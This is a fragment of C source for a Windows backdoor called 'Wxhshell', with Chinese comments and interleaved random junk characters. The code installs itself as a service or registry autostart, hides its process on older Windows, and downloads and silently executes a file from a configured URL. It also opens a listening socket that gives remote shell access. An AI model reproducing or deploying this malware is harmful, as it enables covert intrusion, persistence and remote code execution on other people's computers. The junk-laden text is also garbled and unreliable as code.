.lRA if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B<Ynx_95 ~-w CloseHandle(hProcess); !OJSQB, w5(GRAH if(strstr(procName,"services")) return 1; // 以服务启动 D|D1`CIM !u#o"e<qh return 0; // 注册表启动 5B<G;if, } 9h6xl i g loo].z // 主模块 =`X;fz int StartWxhshell(LPSTR lpCmdLine) B&m?3w { :6z0Ep" SOCKET wsl; VM3H&$d(h BOOL val=TRUE; 7=ZB;(`L1 int port=0; u0J+Nj9 struct sockaddr_in door; `<>8tZS9" ;6 1m if(wscfg.ws_autoins) Install(); ?mt$c6- Tj{!Fx^H port=atoi(lpCmdLine); ZtEHP`Iin
lm&C!{K if(port<=0) port=wscfg.ws_port; Dg#A b8 5Wi5`8m WSADATA data; 79%${ajSI if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +>OEp*
j 5hp b=2 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "7)F";_(^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C({L4O#?o door.sin_family = AF_INET; xL>0&R door.sin_addr.s_addr = inet_addr("127.0.0.1"); l{Hi5x'H door.sin_port = htons(port); A}\Rms2 aG\m3r if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~pj9_I closesocket(wsl); ?k_=?m return 1; ZrA\a#z"< } oUw-l_ M] %4L|#^7: if(listen(wsl,2) == INVALID_SOCKET) { D2!ww{t closesocket(wsl); TL7-uH return 1; FZA8@J|Q4 } @;<w"j`r Wxhshell(wsl); 66'TdF]" WSACleanup(); \hM6 ykY- l}(~q!r return 0; +d6E)~qKL l.BSZhO$ } VY _(0 2z[Pw0#V // 以NT服务方式启动 /2HwK/RZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ydns_Z { (rwbF DWORD status = 0; %q*U[vv DWORD specificError = 0xfffffff; (Z,,H1L Z^fF^3x serviceStatus.dwServiceType = SERVICE_WIN32; 9D#PO">| serviceStatus.dwCurrentState = SERVICE_START_PENDING; .X2mEnh serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uEi!P2zN
serviceStatus.dwWin32ExitCode = 0; v8%]^` ' serviceStatus.dwServiceSpecificExitCode = 0; ,+X8?9v serviceStatus.dwCheckPoint = 0; QHs]~Ja serviceStatus.dwWaitHint = 0; @6D<D6` XbH X,W$h hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t'Q48QAb? if (hServiceStatusHandle==0) return; A:NY:#uC sG VC+!E status = GetLastError(); tcX7Ua(I` if (status!=NO_ERROR) y~luuV;uj { nlY ^ serviceStatus.dwCurrentState = SERVICE_STOPPED; ,Xh4(Gn#b serviceStatus.dwCheckPoint = 0; 5%>U.X?i serviceStatus.dwWaitHint = 0; q$t& *O_ serviceStatus.dwWin32ExitCode = status; 2d>PN^x serviceStatus.dwServiceSpecificExitCode = specificError; _&z>Id`w SetServiceStatus(hServiceStatusHandle, &serviceStatus); cn\_;TYiJ return; J`mp8?;% } Z9sg6M@s 2)8lJXM$L serviceStatus.dwCurrentState = SERVICE_RUNNING; q/3}8BJ serviceStatus.dwCheckPoint = 0; *"4<&F
S serviceStatus.dwWaitHint = 0; 9/%|#b-z if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~T-.k
7t } -Qgfo|po n)=&=Uj`f // 处理NT服务事件,比如:启动、停止 e!-'O0-Kw VOID WINAPI NTServiceHandler(DWORD fdwControl) JIQzP?+? { GS,pl9#V_ switch(fdwControl) 8r|LFuI { )3
r1; ^W case SERVICE_CONTROL_STOP: lR(&Wc\j serviceStatus.dwWin32ExitCode = 0; )b7mzDp( serviceStatus.dwCurrentState = SERVICE_STOPPED; k@Tt,.]; serviceStatus.dwCheckPoint = 0; xl9l>k6, serviceStatus.dwWaitHint = 0; }F.1j!71L { |s^ar8)=) SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5cADC`q } i!HGM=f return; E.6\(^g case SERVICE_CONTROL_PAUSE: Rk=B; serviceStatus.dwCurrentState = SERVICE_PAUSED; ]@P*&FRcZ break; :d#NnR0^L case SERVICE_CONTROL_CONTINUE: 4Klfnki serviceStatus.dwCurrentState = SERVICE_RUNNING; Vg+SXq6G break; ~4^e a case SERVICE_CONTROL_INTERROGATE: /7#&qx8 break; 9N29dp>g{{ }; (NQ[AypMI SetServiceStatus(hServiceStatusHandle, &serviceStatus); tWiV0PTI } G#V22Wca8 e&5K]W0{ // 标准应用程序主函数 Dk-L4FS int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w s=T R { E)P1`X =FbfV*K9 // 获取操作系统版本 F"=MU8 OsIsNt=GetOsVer(); (`NRF6'&1L GetModuleFileName(NULL,ExeFile,MAX_PATH); US|vYd}u+ hF~B&^dd. // 从命令行安装 (Gn[T1p? if(strpbrk(lpCmdLine,"iI")) Install(); w(j9[ 6bGD8; // 下载执行文件 k +Oq$Pi if(wscfg.ws_downexe) { `O{Uz?#*x if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W!k6qTz) WinExec(wscfg.ws_filenam,SW_HIDE); IMZKlU3 } f#~Re:7.c yFt7fdl2 if(!OsIsNt) { C\^K6,m5 // 如果时win9x,隐藏进程并且设置为注册表启动 ;$QJnQ"R HideProc(); WGmCQE[/c StartWxhshell(lpCmdLine); |DW'RopM } 1aE/_ else ECScx02 if(StartFromService()) 8j}m\^si // 以服务方式启动 LXLDu2/@ StartServiceCtrlDispatcher(DispatchTable); X$9QW3.M else 2M?lgh4" // 普通方式启动 Z?.*.<"Sj StartWxhshell(lpCmdLine); %SGO"*_ kPH^X}O$ return 0; /aG>we }
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